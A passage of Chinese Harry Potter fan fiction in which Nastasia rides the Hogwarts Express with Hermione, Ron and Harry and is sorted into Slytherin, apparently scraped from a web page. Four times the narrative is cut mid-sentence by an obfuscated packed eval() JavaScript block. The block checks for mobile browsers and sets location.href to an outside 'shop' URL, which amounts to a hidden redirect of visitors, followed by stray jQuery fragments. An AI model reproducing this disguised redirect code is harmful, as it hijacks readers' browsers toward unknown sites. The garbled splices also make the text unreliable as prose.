“当然。你的哥哥们帮我搬了行李。”哈利说,“不过,你们似乎不是一起来的?”他快速地向眼窗外瞥去一眼。 而且长得一点也不像。 “抱歉,哈利,我想我刚才在车站开的那个玩笑不大合时宜。”娜斯缇亚觉得自己有义务道个歉,随后又解释道,“哦,因为我们不是一家人——我是说,我们没有血缘关系。当然我们的关系很亲近,伊莱莎和莫丽阿姨是好朋友。” “没关系。”哈利摇摇头,又问,“你妈妈没有来吗?” “她去忙自己的事了。我们约法三章过,彼此不要干涉对方的工作或学习生活。”娜斯缇亚轻快地说,“你呢?你也是自己来的吗?” “弗农姨父开车送我来的。”哈利由衷露出了一个微笑,“他们要上医院去给达力割猪尾巴。” 娜斯缇亚哈哈大笑。 这时,窗外响起一阵火车鸣笛的声音。 娜斯缇亚从车窗探出头:“罗纳德!我在车尾倒数第二节车厢!” 说完,她再次和金妮挥了挥手,然后迅速回身坐下。 大约两分钟后,包厢的推拉门开了,三个韦斯莱站在门口。 “你怎么不和我们一起坐?”弗雷德问,“我特地给你留了个座位。” “可是,我要给罗纳德占座位呀。” 罗恩得意洋洋地看了他的双胞胎哥哥一眼,在她旁边坐下。 娜斯缇亚很想提醒他鼻子上有块脏东西,但现在似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437136|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是个好时候。 弗雷德立刻夸张地抱怨起来:“我们现在的地位甚至不如小罗尼。” 娜斯缇亚翻了个白眼,乔治立刻捏住她的脸,语气颇为哀伤:“又翻白眼。看来弗雷德说的是真的。” “少来。”她拍开他的手。 弗雷德笑了笑,看向哈利:“瞧,我们还没向哈利做自我介绍呢。” “弗雷德和乔治。”他和乔治异口同声地说。 “这是我们的小弟弟罗恩。”乔治补充道。 这个介绍实在多余。哈利迷茫的视线落在双胞胎身上,似乎努力地想找出一点不同。 罗恩对着两个哥哥翻了个白眼:“哈利,你不用管他们。要知道,妈妈也没办法每次都认对他们呢。” “是的,如果你高兴的话,也可以称呼我们为乔雷迪。”弗雷德说。 娜斯缇亚随口接话道:“或者弗治。” “你要不要跟我们一起走?”他们终于开够了玩笑,将视线转向娜斯缇亚,“李·乔丹弄到了一只很大的袋蜘蛛呢。” “你们疯了,我为什么会对一只蜘蛛感兴趣?” 乔治兴致勃勃地说:“你只会拿着解剖刀,冷酷无情地剖开它们的肚子。” 下一秒,所有人听见罗恩大声地干呕了一声。 “非得当着我的面说不可吗?” “好了,我要去找赫敏。”娜斯缇亚站起来宣布。 “又是格兰杰。”她听见罗恩嘟囔了一句。 乔治耸耸肩,道:“好吧,一会见。” 那句“一会见”显然不是对娜斯缇亚说的。 双胞胎一人一边将她拉走,随手关上门,把罗恩和哈利的那句“再见”夹在门缝里。 娜斯缇亚忽然想起来,自己忘记提醒罗恩了。 “鼻子——”她犹豫着开口。 “什么鼻子?” “没什么。” 哈利应该会提醒他的。 “不想问问我们怎么分院吗?”弗雷德忽然说,“小罗尼可是不停地缠着我们问了好久。” 娜斯缇亚冷酷地拒绝道:“不。我要保持最后一点新鲜感。” 作为一名新生,她已经对这所学校了解得够多了。 “我跟你说了,她不会上当的,她又不是罗尼。” 弗雷德只是神秘地笑了笑:“我很期待你今晚的表现,希望你不会让我亏本。” “你们两个又拿我打赌。”娜斯缇亚气不忿道。 “我们打赌你会进哪个学院——”乔治笑得像个财迷,“不仅我们,妈妈、伊莱莎阿姨、罗尼和金妮也加入了。” “除了珀西。”弗雷德补充。 娜斯缇亚“嘁”了一声:“我还以为你们马上要赚翻了呢。” “差不多是这样。”双胞胎对视一眼,异口同声地说。 他们一直走到中间的一节车厢,一个留着脏辫的男孩站在门口,招呼着弗雷德和乔治。 “快来——这是谁?”李·乔丹的反应很快,“哦,格雷,对不对?” “你好。”娜斯缇亚一点也不意外他知道自己的名字。这两年她和双胞胎一直保持通信。 “好了,别站在车道闲聊。” “要是被珀西看见,我们就完了。” “最好别让他看见我们在哪节车厢。” “快去找格兰杰吧!” 乔治和弗雷德一人一句,推着她往前走,顺便拉上了包厢的门。 8. 第 8 章 娜斯缇亚在几乎最靠近驾驶室的包厢找到了赫敏。 不过,里面不只有一个熟人。 “嘿,纳威,你也在这!” “你们认识?”赫敏捧着书,语气十分意外。而纳威·隆巴顿正坐在她的对面,满脸是泪。 娜斯缇亚点点头,在她旁边坐下:“前所未有的组合!你们怎么会坐在一起?” 赫敏解释道:“纳威的蟾蜍丢了,我在劝他仔细想想,最后一次见到它是什么时候。” 纳威一直在抽噎。 “它总想从我身边跑掉……”他艰难地说。 娜斯缇亚递给他一块手帕。 “你把它带上车了吗?”她问。 他用力地点点头。 “你记得这点,那就还不算太坏。至少它会在车上。也许我们可以问问乘务员——如果有的话。” “我也是这么想的,可是你看,车上除了我们这些学生,没有什么别的管理员之类的。”赫敏说,“我倒是看到几列级长车厢,但他们正在开会。” 纳威“噌”地站了起来,语气坚决:“我要再去找一找。” 娜斯缇亚和赫敏满怀同情地目送他离开。 “你在看什么书?”几乎在纳威离开的下一秒,娜斯缇亚就把这件事抛在了脑后。 “我在复习校史。” 娜斯缇亚注意到她已经换上了校袍。 “噢,我的行李还在原来的车厢。” 也许是为了方便搬运,弗雷德和乔治把她的行李和哈利的放在了一起,他们说到了学校有人会负责。 这意味着,要想换衣服,她得从车头再走回车尾。 “没关系,我问过司机了,傍晚我们才能到。” 娜斯缇亚软绵绵地倒在她的膝盖上:“很好,在这之前,我想我会先饿死。” “不用担心这个,我买了很多面包。”赫敏拎起一个纸袋。 “我现在就想要吃一个。” “吃几个都没问题,我可以一边给你讲校史,补充一些细节——” * 将近一点的时候,包厢门被推开了。 停在门口的不是纳威,而是一位笑容可掬的女售货员。 赫敏礼貌地和她打了个招呼:“您好。” “亲爱的,要不要买点什么?”她的推车上满满都是来自蜂蜜公爵店铺的糖果和糕点。 娜斯缇亚注意到最上方的那一排比比多味豆。 她辨认多味豆很有一手,总是能凭直觉选出最无害的那个味道。 “请来一盒比比多味豆——” “不——”赫敏表情严肃地制止着她,“娜缇,你得少吃点糖,我希望你还记得,你门牙往左数第二颗的牙齿已经开始松动了。” 娜斯缇亚对此充耳不闻:“你想,我们可以轮流问对方一个书上的问题。答错问题、或者自己的问题被对方答对,就算输,输的人吃一颗。我不会吃很多的。” “……好吧。” 赫敏几乎立刻同意了,但同时又有些困惑:“为什么是输的人吃?” 娜斯缇亚向售货员递了个眼神,后者立刻心领神会,没有解释,而是接过钱,又笑着拉上门。 “来吧!” 赫敏似乎很想尝尝这个没见过的零食,第一局,她出了个很简单的问题。 她很快就后悔了。 “肥皂味!你确定这能咽下去吗?我感觉我要开始吐泡泡了!” 她几乎要跳起来的样子逗得娜斯缇亚哈哈大笑。 “好吧,现在我知道了。放马过来吧。”赫敏说。 这个有趣的游戏并没有持续太久——至少娜斯缇亚是这么觉得。 纳威·隆巴顿带着他哭红的鼻头回来了。 当然,两手空空。 “不敢相信你去了这么久,居然还没有找到。”娜斯缇亚同情地看着他,“也许你该换个宠物,比如猫头鹰什么的,至少它们找得到路,不是吗?” “娜缇,你还是先别说了。”赫敏无奈地捂住额头,又问,“你确定自己每个包厢都找过了吗?” 两个女孩同时将手伸向纸袋。 她们相视一笑,又同时收回手。 赫敏拿出一个面包,递给纳威。 “嘿,我想你需要吃点东西,放松一下。”她说,“等你吃完午饭,我们可以帮你找。” 闻言,娜斯缇亚也点点头。 不过,她只是想顺便去车尾拿自己的校袍。 在女孩们的安慰下,纳威冷静了下来。 相较娜斯缇亚而言,赫敏对“帮陌生同学找蟾蜍”这件事显然热衷很多。 晃晃悠悠的过道中,她不断地拉开门,急切地询问,仿佛丢失的不是纳威的宠物,而是她自己的。 娜斯缇亚看着她的背影,出神了好一会。 “嘿,隆巴顿先生,别傻站着,你和我去问另一边。”半晌,她一把扯上纳威,敲开另一扇门。 * 新同学们都挺友好的。除了个别…… “喂,你是不是来过一次?我已经告诉过你了,这里没有你要的——蟾、蜍。”一个抹着发胶的金色脑袋高高仰起,试图用下巴代替眼睛。 他把“蟾蜍”这个词的发音咬得格外重,似乎想强调什么。 娜斯缇亚知道他想表达什么:蟾蜍作为宠物已经过时很久了,他看不起蟾蜍,当然也看不起纳威。 她很想翻个白眼,但是忍住了。 相比自己,那个男孩的金发颜色很浅,几乎有些泛银光。 这本该是一种很神秘、很高贵的颜色,但是…… ‘看起来真像一只傲慢的灯泡。’娜斯缇亚忍不住腹诽。 她毫不犹豫地拉上门:“打扰了,我们只是问问。” 走廊里,纳威结结巴巴地向她道歉。 “又不是你的错,为什么道歉?再说了,他凶的好像是你。”娜斯缇亚不以为然道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437137|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你才应该生气。” 他们继续往列车后方走着。 忽然,某间包厢里传出了一声爆炸,以及熟悉的大笑声。 娜斯缇亚推开车厢门,正好看见弗雷德和乔治互相击掌的画面。 看起来相当狼狈为奸。 刚刚见过的李·乔丹顶着一张比原来更加漆黑的脸转过来。看到新生的那一刻,他立刻举起魔杖给自己用了个清理一新。 “刚刚是什么东西在爆炸?”赫敏心有余悸地问。 “改良版的飞行棋。” “好吧,我就知道你们会这么做。”娜斯缇亚探头看了一眼棋局。 “初步成果。”乔治说。 梅林啊,他现在看起来可真像一只摇着尾巴求奖励的大狗。 娜斯缇亚不禁伸手揉了一把他毛茸茸的头发。 “嘿!”弗雷德立刻大声嚷了起来,“为什么只夸乔治一个人?” “我没有。” “你绝对夸了——用眼神。”他和乔治异口同声地说。 “……我绝对没有。”娜斯缇亚坚决否认道,“好了,我们不是来玩的。你们有看到一只蟾蜍吗?” “我都不知道你养了一只新宠物。”弗雷德挑挑眉,“你的蟾蜍也丢了?” “不是我,是纳威……算了,我们去别的地方问问。” “你不想玩一会吗?”弗雷德指了指桌上摊开的一盘棋子。 “至少现在不想。”她可没忘记李·乔丹刚刚那张令人印象深刻的脸,逃命般带着赫敏和纳威跑了。 刚转过身,他们就撞见了胸前别着级长徽章的珀西。 “娜缇?你在这做什么?” “嘿,珀西,我在帮忙找一只蟾蜍。”娜斯缇亚道,“如果你有看到的话,可以通知我们。” 珀西一本正经地点点头,向纳威询问了蟾蜍的外貌特征。 娜斯缇亚注意到赫敏的视线在那枚级长徽章上停留了一会。 “好了,我会帮你留意的。你还不把校袍换上吗?” “我现在正要去……不过你又在这做什么?” 珀西拍了拍胸前的徽章:“我是级长,负责在列车上巡逻。” “噢,对,级长。” 弗雷德、乔治和罗恩向她抱怨了不下10次,他们说珀西整个暑假都在吹嘘自己有多么努力。 想到这,娜斯缇亚忍不住笑了笑:“祝贺你。” “什么?”珀西有些疑惑地看着她,似乎没反应过来。 “祝贺你当上级长呀。” 迎上她真挚的目光,珀西的脸微微发红。他抬了抬下巴,轻咳一声:“这没什么。这是我应该争取到的……好了,你快回去吧。” 娜斯缇亚点点头,看见赫敏和纳威在前方推开包厢的身影,赶紧跟了上去。 “别在过道上跑这么快!” 娜斯缇亚没有回头,比了个“OK”,下一秒因为刹不住车一头撞在赫敏背上。 9. 第 9 章 “找蟾蜍小分队”从车头一直问到了车尾,不幸的是,没有一个人见过那只拥有自由意志的蟾蜍。 娜斯缇亚决定回原来的包厢取自己校袍。 推开门,就看见罗恩手里正拿着魔杖。 他像个指挥家那样挥了挥手:“快把门关上!” “嘿!别拿着魔杖乱挥!” 娜斯缇亚注意到他鼻子上那块脏东西还在,甚至嘴边多了一抹糖霜。 梅林,这么久了,他和哈利是看不到那块灰吗? 但这也可以理解——娜斯缇亚看了一眼桌上七零八落的包装袋和那些不小心洒出来的零食,头痛地移开眼。 他们准是在这痛快地饱餐了一顿。 但赫敏和她的关注点显然不一样:“哦,你是在施魔法吗?那就让我们开开眼吧。” 包厢门被娜斯缇亚关上了,她于是径直拉着纳威坐了下来(虽然纳威显然有些心不在焉)。 因为她这一举动,哈利和罗恩有些错愕地看着她。 娜斯缇亚觉得这画面十分好笑,倚着车门,强忍笑意。 过了好一会,罗恩才仿佛回过神来。 “哦——好吧。”他有些紧张,清了清嗓子,把斑斑端到桌上。 那只肥老鼠似乎想要挣扎一下,和娜斯缇亚对上眼后,又猛地安静下来。 罗恩见状,小声地对哈利说了一句:“看吧,弗雷德,或者乔治,说过了,她就是一个不折不扣的猫女巫。” 娜斯缇亚颇具警告意味地咳了声:“罗纳德,我听见了。” 罗恩心虚地别开脸,重新举起魔杖:“Sunshine,daisies,butter mellow,Turn this stupid,fat rat yellow。” 他挥动魔杖,然而,什么都没有发生。 斑斑趴在桌上,像一只静止的玩偶,如果不是它偷偷瞥了娜斯缇亚一眼,他们甚至以为它又睡着了。 大家都没开口。 连纳威都微微露出一丝疑惑的神情。 娜斯缇亚看见赫敏紧紧皱起的眉头,差点大笑出声。 梅林知道她为了保护一个朋友在另外两个朋友面前的形象,付出了多惨痛的努力。 手劲用过头了,大腿真的好痛! “你不要告诉我,这就是你上个月告诉我的,乔治教给你的咒语?”娜斯缇亚问。 “咒语?你肯定这是一道咒语吗?”赫敏诧异道,“看起来不怎么样,是吧?” 罗恩的脸色一瞬间变得很僵硬。 “我和娜缇在家里试过几道简单的咒语,都成功了,是不是?”赫敏笑着看向娜斯缇亚,问。 这个笑容在她看来非常可爱,但显然,罗恩不这么觉得。 一瞬间,所有人的目光都落在了娜斯缇亚身上。 她被吓得心脏都漏了一拍。 好在她的反应不慢。 “哦!当然。不过,罗恩,如果我是你,到了学校一定会找乔治算账——为什么不试试我告诉你的咒语呢?你上次不是成功了吗?” 赫敏听了这话,又扭头去看罗恩。 罗恩也仿佛找回了一些自信,他再次清了清嗓子,在哈利和纳威期待的注视下,挥动了魔杖。 “Lumos。” 一道亮荧荧的光线从魔杖末端射出。 哈利情不自禁地鼓了鼓掌。 纳威也情不自禁地跟上。 “看来你还是懂得一些的——你就是罗恩·韦斯莱,对吗?我听娜缇提起过你。我叫赫敏·格兰杰,是她的好朋友,我们从小一起长大。” “幸会。”罗恩不情不愿地松嗓子眼里挤出一个单词,然后说,“真巧,我从小听着你的名字长大。” “我们家只有我一个人会魔法,所以我收到入学通知的时候吃惊极了,尤其是在知道娜缇从小就清楚自己是个巫师之后,我十分焦虑……哦,你应该知道她有多聪明。所以,为了跟上她的进度,我决定把所有课本都背下来,希望这能够用——顺便问一句,你叫什么?”连珠炮似的说完一大段话之后,她看向哈利。 从后者的表情来看,现在焦虑的人变成他了。 “哈利·波特。” 赫敏的表情压根看不出意外:“哦,真的是你吗?你的事我全知道——娜缇告诉了我一些,但我还额外多看了几本参考书,《现代魔法史》《黑魔法的兴衰》《二十世纪重要魔法事件》都提到了你……看来你真的对自己的事情一无所知。要是我,一定把所有提到自己的书都找来——” 说到这里,她突然转向娜斯缇亚:“我想起一点刚刚我们讨论的那个袭击事件的细节,一会回去我继续给你讲完。” “好的。我想我应该先找找自己的袍子。”娜斯缇亚尽量避开了罗恩那个不可置信的眼神,扭头去拎自己的行李箱。 赫敏则将目光转向了一言不发的罗恩:“哦,对了,你姓韦斯莱。娜缇和我说过,你们家里都是格兰芬多,这是真的吗?” 提起这个,罗恩露出一丝骄傲的神色:“没错。” 赫敏略点了点头:“真希望娜缇和我能一起去那里。” 罗恩刚觉得自己难得能和她达成共识,就听见赫敏自言自语道:“不过拉文克劳也不算太坏……不管怎么说,我们最好还是去先去找纳威的蟾蜍吧——娜缇,你找到校袍就直接回来。” 娜斯缇亚点了点头,目送她和纳威离开。 “梅林,她可真能说……你真觉得她,可爱?”罗恩看起来已经被赫敏那一大堆话折磨得筋疲力尽。 “赫敏只是比较直率。她很可爱呀,你看,除了她谁还会这么热心地帮纳威找蟾蜍呢?” 这次,罗恩和哈利都用一种看外星人的目光看着她。 “说真的,我不明白他为什么这么着急。如果谁送了我一只蟾蜍,我一定想尽办法把它弄丢,越快越好。不过其实我也不差,毕竟……”罗恩看了一眼正在偷吃零食的斑斑,叹了口气。 娜斯缇亚不知道该怎么回答他。斑斑确实令人夸不出口。 她决定转移话题。 “我听说你们几个在拿我分院的事打赌。” “什么?我们说好了不告诉你的——准是珀西说的。”罗恩翻了个大大的白眼,“我刚刚听到他在过道说话。” 不,是你的双胞胎哥哥们。娜斯缇亚在心里说。 “你们都猜了什么学院?” 事实上,娜斯缇亚很好奇伊丽莎白的想法。 “怎么可能告诉你?我可不想输。” 哈利困惑地看着他们:“为什么要赌这个?” “是弗雷德提出的,为了好玩。不过,我觉得他压根不可能赢。只有乔治这个傻瓜听他的。”罗恩哼了一声。 “你对我这么有信心,还不肯告诉我选了什么。” “嘿,我也想知道。” 被两道目光看着,罗恩不自在地扭了扭身子。 “好吧,但我不会告诉你票数的。除了赫奇帕奇,都有人选。” 哈利差点被那颗生姜味的比比多味豆给呛死:“包括斯莱特林?” “是的。说真的,娜缇,我想你去拉文克劳也没什么不好的,可想想看,你要是去了斯莱特林……”罗恩抖了抖,仿佛娜斯缇亚已经变成了无恶不作的黑巫师。 “这我可说不准。”她学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437138|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着猫咪的样子,冲罗恩比了比爪子。斑斑被吓得跌进了零食盒里,摔了个四脚朝天。 哈利捂着嘴笑了起来。 “你真幼稚。”罗恩唉声叹气地说。 又过了一会,娜斯缇亚终于找到校袍,“砰”一声把行李箱合上,扬长而去。 关上门的那一刻,她似乎听见哈利在问罗恩,巫师从学校毕业后能去干什么。 往车头走的途中,她又遇见了刚刚那个傲慢的“灯泡”。他带着两个看起来有些呆傻的大块头,气势汹汹地往车尾走去,像是要去打架。 不是吧?还没到学校,就有人结怨了。娜斯缇亚不可置信地想。 她没在包厢看见赫敏和纳威,只好换上校袍,坐下来等。 周围太过安静,以至于她在胡思乱想间猛地想起:自己还是忘记提醒罗恩擦掉鼻子上那块脏东西了。 火车行驶的速度越来越慢,娜斯缇亚朝窗外看去,只看见一片幽黑的树林,和那背后深紫色的夜空。 她的心脏没有理由地开始狂跳,连列车上响起的广播(也许)都没听到。 赫敏正是在这个时候回来的。 “走吧,咱们马上就到站了。”她拉着娜斯缇亚往外走,“天哪,你的手真凉。” “我应该提醒你多穿点的。我敢说外面比这里还冷。”说着,她将娜斯缇亚的手放进了自己的口袋。 娜斯缇亚紧紧挨着她,感受到心跳又慢慢平复下来。 她们几乎是最早下车的。 夜里的寒气随着风吹进衣领,她们扎扎实实地抖了一下。 面前是一个小小的站台,不远处,一个身材高大的巨人提着一盏灯,正在高声招呼着:“一年级新生!到这边来!” 赫敏看了一眼身侧的朋友:“咱们跑过去吧,这样你能暖和些。” 娜斯缇亚点点头。 她们牵着手,飞跑到海格面前。 “哦!小心点,孩子们,当心脚下。”他似乎被两个女孩吓了一跳,将灯往前送了送,埋在大胡子底下的脸露出一个微笑。 他继续高声喊着,忽然和哈利打了声招呼。但娜斯缇亚和赫敏回过头,只看得到人头攒动,根本分不清谁是谁。 ‘哦,除了那个‘灯泡’。’娜斯缇亚想。 很快,一年级的小豆丁们聚集在了一起。所有人跟着海格向前移动,沿着一条小路,穿过一片森林。 路不大好走,还有些湿滑。 娜斯缇亚和赫敏紧紧挨在一起。她们庆幸自己和海格靠得这么近,不然谁也说不准自己会不会摔倒。 * 不知走了多久,伴着海格的提醒,转过最后一个弯,所有人都看见面前横亘着一片湖,对岸的悬崖上耸立着一座巍峨的城堡,灯火通明。 人群中发出一声整齐的惊叹声。 这时,海格下达了新的指令:“都过来!咱们得乘船过去,每条船不能超过四个人!记住!” 娜斯缇亚和赫敏找到一条船,互相搀扶着对方坐了上去。 过了很久,纳威也来了,抱着他失而复得的蟾蜍。 赫敏建议纳威应该把莱福(他的蟾蜍)装进口袋。 娜斯缇亚深有同感:“你得抓好莱福。万一它在这里再跑掉,你就永远也别想把它抓回来了。” 纳威点点头。 小船载着新生们穿过一道常春藤帐幔,又驶过一段漆黑的隧道,来到悬崖的底端。 “别告诉我,我们得这么爬上去。”娜斯缇亚说。 海格笑着看了她一眼——用一种鼓励式的眼神。 “是的,来吧,跟紧我。” 娜斯缇亚几乎要晕在赫敏肩头。 10. 第 10 章 娜斯缇亚已经不记得是怎么支配自己的双腿走上去的。 当她们终于站在城堡门口的时候,她已经想要放弃直立行走原地躺下,让赫敏拽着她的帽子把自己拖进大厅。 “娜缇,你振作一点。”赫敏哭笑不得地劝道。 幸好这个念头在娜斯缇亚看到那位面容严肃的绿袍女巫后,就被她彻底打消了。 她听见海格称呼对方为“麦格教授”。 这就是格兰芬多学院的院长。 娜斯缇亚立刻站直了。 麦格教授那双敏锐的眼睛和优雅端庄的身姿时刻在提醒她,这位女士应当很注重仪容仪表。 她可不愿意给对方留下不好的印象。这可能导致自己去不成格兰芬多。 赫敏看出了她的心思,轻笑了一声。 娜斯缇亚很不好意思地拧了拧她的袖子。 新生们跟着麦格教授走进一间空屋。 “欢迎你们来到霍格沃茨。” 娜斯缇亚很快意识到,巫师学校和麻瓜学校也没有这么大的区别。 至少在训话这一点上,它们一模一样。 她越想越想笑,正想扭头和赫敏分享心情,就听见一句晴天霹雳的“过几分钟,分院仪式就要在全校师生面前进行”。 什么? 她想过很多种可能,唯独没有一种是要当着全校人的面进行分院。 她甚至想起了那道有名的斯芬克斯之谜。 娜斯缇亚幻想着自己在全校师生面前倒下的场景,狠狠打了个颤。 “……娜缇!”她被赫敏声调提高的一声喝唤回神。 “你在想什么?” “我在想斯芬克斯……呃,没什么。怎么了?” 赫敏难以理解地看了她一眼。 “真不敢相信,在这种紧张的时刻,你居然还能分心想这些不相干的事情。我想问你我看起来怎么样?麦格教授让我们检查仪容仪表。” 娜斯缇亚绕着赫敏转了一圈,仔细地将她从头到脚打量了一番。 “挺好的……” 就在这时,她忽然想起了罗恩。 鼻子!她必须得提醒他才对! 好险,在这个念头刚在脑子闪过,娜斯缇亚就看见他拖着哈利从人群中挤了过来。 “终于挤过来了……这屋子太小了,不是么。她为什么不在门厅说话?”他抱怨道。 “感谢梅林,你好歹还有个子高这一个优点。” 娜斯缇亚松了一口气。但在看到他鼻子上那块仍然顽固的灰色,还是长叹了一声。 “你鼻子上有块脏东西,你知道吗?” 罗恩闻言,猛地搓了搓鼻子。 赫敏好心地将自己的小镜子转向罗恩。 “难以置信,你居然还没把它弄掉。我提醒过你——” 娜斯缇亚递出一块手帕,又回头看一眼赫敏。 她怎么不记得赫敏有说过这句话? 她拼命回想,然而罗恩笨手笨脚的动作压根没法让人专心致志地回忆。 “给我。”娜斯缇亚夺回手帕,示意他低头,两下把他鼻子上的那块灰抹去了。 收手的时候,她感受到人群中央有道目光停在了自己身上。可顺着目光看回去的时候,却只看到一堆颜色各异的后脑勺。 哦,那个金色脑袋又在。 他可真够显眼的。 不过他的发胶似乎不够好。一些边缘的头发已经微微翘起来了。 * 新生们没有在屋子里等太久。 很快,麦格教授就折返回来,带他们走进礼堂。 娜斯缇亚和赫敏一前一后走着。 赫敏拽着她的袖子,示意她看头顶的夜空。 “在星空下用餐。哦,真浪漫。”娜斯缇亚评价道。 不过她的朋友想说的不是这个。 “我希望你还记得,《霍格沃茨,一段校史》。”赫敏提醒道。 “是的,当然,魔法。可它看起来像真的一样。” 赫敏满意地点点头,而走在她们前面的哈利微微侧过头。 “你们是说……这是魔法做的?这上面有天花板?” “要我说,”赫敏说,“泡在雨里用餐似乎不怎么浪漫。” 娜斯缇亚没忍住,笑了一声。 “的确太逼真了。”紧接着,她立刻打了个圆场。 她敢说,没回头的罗恩也绝对在偷笑。 走到礼堂的正前方,新生们围着麦格教授和一个四脚凳站着。 她忽然掏出了一顶尖头的巫师帽。 这顶帽子有些年头了,不仅打着补丁,还脏得让人不忍直视。很难想象麦格教授这样讲究的女士竟然愿意将它抓在手里。 不过很快,她将帽子放在了凳子上,随即后退两步,站在一边。 娜斯缇亚从没想过一顶帽子会突然张嘴唱歌。还不是很好听。 赫敏也是。 那顶帽子开口的那一瞬间,她猛地抓住了娜斯缇亚的胳膊。 但她们终于从它口中得知,所谓的“分院仪式”,到底是什么意思。 “居然这么简单。” 罗恩咬牙切齿地瞪着格兰芬多的某个方向:“我要把弗雷德杀掉,他和我说得好像我们要立刻上阵与巨怪搏斗!” 这种话应该只有他会信。 “罗纳德,有时候在抱怨你的哥哥之前,你应该反思一下自己……”娜斯缇亚说着,话锋一转,“不过你觉得我写信这样告诉金妮,她会信吗?” “看吧,看吧,可怕的猫女巫。我早就说过了,你比我更像他们的妹妹。我赢定了……” 说完这话,罗恩似乎回忆了一下分院帽的歌词,他的脸色变了变,又紧张地看了娜斯缇亚一眼,低声问:“你会来格兰芬多的吧?” “我想我可以和它进行一些友好的交流。”娜斯缇亚沉默了一会,最终只这么说。 她知道罗恩把赌注下在哪了。然而,听分院帽的意思……胆识、气魄、侠义、勇敢,这几个词好像都和自己不太沾边。 至于赫奇帕奇……就更不可能了。 唯二的可能性就是拉文克劳或斯莱特林。 当然,娜斯缇亚认为,她被分去拉文克劳的可能性要比斯莱特林大很多。 * 姓氏已经叫到了F,每个学院都迎来了至少一名新生。 “娜缇,我想我有点紧张……”赫敏靠近娜斯缇亚,小声地说。 “我相信,分院帽会让我们去最适合自己的地方。”娜斯缇亚握住她的手,“别担心。” 就在这时,麦格教授看了看手里的羊皮纸:“赫敏·格兰杰!” 娜斯缇亚送开赫敏的手,轻轻地搂了她一把。 在朋友的安慰下,赫敏似乎拥有了一点信心。她几乎是跑着奔到凳子跟前,急忙将帽子一扣。 娜斯缇亚祈祷赫敏能分到拉文克劳。 可是,事情不总是顺遂人意。 “格兰芬多!” 娜斯缇亚的失望在这一刻到达了顶峰。 但她抬起头,看见赫敏兴奋而期待的那个亮晶晶的眼神,还是下意识挤出一个笑容,并举起双手,轻轻地拍了拍。 她和赫敏的名字在点名册上总是挨得很近,可娜斯缇亚从没有一刻这么希望自己的名字可以再延后一点。 也许是梅林听见了她的祈求,麦格教授竟然真的念出了另一个名字:“达芙妮·格林格拉斯!” 感谢这位格林格拉斯小姐。 娜斯缇亚的紧张没能缓解太久。 这位格林格拉斯小姐只坐下了不到十秒,分院帽就做出了决定:“斯莱特林!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437139|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > * 听见自己的名字被麦格教授念出的那一刻,娜斯缇亚几乎变成了一个机器人。 她僵硬地走到台上,在拾起分院帽之前,深吸了一口气。 戴上帽子的那一刻,视线立刻陷入黑暗。 它真是太大了…… “哦,又一个聪明的女孩。有天分,你和刚刚那个女孩一样。”娜斯缇亚听见一道微弱的声音。这和刚刚在台下听见的那个足以响彻礼堂的声音很不一样。 “我能和她去同一个地方吗?”娜斯缇亚不死心地问。 “哦?难得,真难得,真挚的感情,很纯粹……你们是好朋友,对吧?” 娜斯缇亚下意识点点头,随即意识到这个动作有多么傻气。 分院帽回答得很快:“不过很可惜,我认为你并不适合格兰芬多。” “好吧。” “哦!别难过,别这样。我知道你不是一个有偏见的孩子,对吗?我想学院不同并不会影响你们的友谊……好吧,让我来想想——” “既然不能去格兰芬多,那么,请便吧,我都可以。”娜斯缇亚自暴自弃地说。 “别着急,这不是一件易事——有天分,强烈的求知欲……嗯,这一点非常符合拉文克劳……” 她差点准备将手放在帽子上,将它摘下来。 然而—— “不过,我想你更适合——” “斯莱特林!” 它高声喊了出来,娜斯缇亚压根毫无防备。 摘下帽子的那一刻,她像是刚从梦里惊醒,以至于走下台阶的时候,腿软了一下。 一只手扶住了她,又很快松开。 她下意识道谢,看过去,才发现扶住自己的人是那个“灯泡”。 他淡淡地瞥了自己一眼,似乎在提醒她赶紧去属于自己的地方。 